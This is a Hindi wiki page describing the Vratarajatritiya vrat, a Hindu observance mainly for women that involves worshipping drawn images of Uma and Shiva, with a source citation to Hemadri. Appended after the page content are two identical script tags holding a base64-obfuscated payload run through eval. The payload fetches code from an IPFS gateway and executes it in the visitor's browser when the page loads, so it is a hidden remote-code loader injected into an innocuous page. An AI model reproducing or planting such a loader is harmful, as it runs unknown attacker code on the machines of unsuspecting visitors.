व्रतराजतृतीया व्रत

भारत डिस्कवरी प्रस्तुति
शिल्पी गोयल (चर्चा | योगदान) द्वारा परिवर्तित 08:39, 9 सितम्बर 2010 का अवतरण ('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • तृतीया तिथि को कपड़े के दो टुकड़ों पर रोचना, कर्पूर एवं नील से उमा एवं शिव की प्रतिमाएँ खींचकर स्वर्ण कण्ठहार एवं रत्नों से दो पौराणिक मंत्रों के साथ पृथक रूप से सम्बोधित करके उनकी पूजा; होम करना चाहिए।
  • व्रतराजतृतीया व्रत के सम्पादन से पति, पुत्र, भ्राता से वियोग नहीं होता'
  • व्रतराजतृतीया व्रत विशेषत: स्त्रियों के लिए होता है। हेमाद्रि (व्रत खण्ड 1, 616-617, भविष्य पुराण से उद्धरण)।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>